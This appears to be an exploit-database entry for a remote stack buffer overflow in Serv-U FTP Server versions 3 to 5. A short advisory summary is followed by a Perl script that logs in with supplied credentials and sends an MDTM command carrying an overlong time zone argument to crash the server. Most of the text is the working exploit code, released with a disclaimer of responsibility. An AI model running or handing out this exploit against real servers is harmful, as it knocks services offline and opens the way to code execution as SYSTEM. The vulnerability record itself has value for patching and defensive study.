RhinoSoft Serv-U FTPd Server 3/4/5 - 'MDTM' Time Argument Buffer Overflow (1)

source: https://www.securityfocus.com/bid/9751/info

Serv-U FTP Server has been reported prone to a remote stack based buffer overflow vulnerability when handling time zone arguments passed to the MDTM FTP command.

The problem exists due to insufficient bounds checking. Ultimately an attacker may leverage this issue to have arbitrary instructions executed in the context of the SYSTEM user. 

## Coded by saintjmf
## This exploits Serv-u MDTM buffer overflow - Shutsdown server
## Discovered by bkbll - Info provided by securityfocus
## For exploit to work you need valid username and password
## I do not take responsibility for the use of this code

use IO::Socket qw(:DEFAULT :crlf);
print "Serv-u MDTM Buffer overflow - by saintjmf\n";

## Get Host port unsername and password

my $host = shift || die print "\nUsage: <program> <Host> <port> <username> <password>\n";
my $port = shift || die print "\nUsage: <program> <Host> <port> <username> <password> \n";

$username = shift || die print "\nUsage: <program> <Host> <port> <username> <password> \n"; 
$password = shift || die print "\nUsage: <program> <Host> <port> <username> <password> \n";

## Create Socket
my $socket = IO::Socket::INET->new("$host:$port")  or die print "\nUnable to connect -- $!\n";

print "connecting...............\n\n";

connecter($socket);


print "Server should be stopped\n";


## Sub that sends username, password and exploit

sub connecter{	
	$/ = CRLF;
	my $socket2 = shift;
	my $message2 = <$socket2>;
	chomp $message2;
	print "$message2\n";
	sleep(5);
	print $socket2 "user $username",CRLF;
	$message2 = <$socket2>;
	chomp $message2;
	print "$message2\n";
sleep (5);
	print $socket2 "pass $password", CRLF;

	$message2 = <$socket2>;
	chomp $message2;
	print "$message2\n";
sleep (4);
	print "Sending MDTM Overflow.....\n";
	print $socket2 "MDTM 20041111111111+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /test.txt" ,CRLF;

}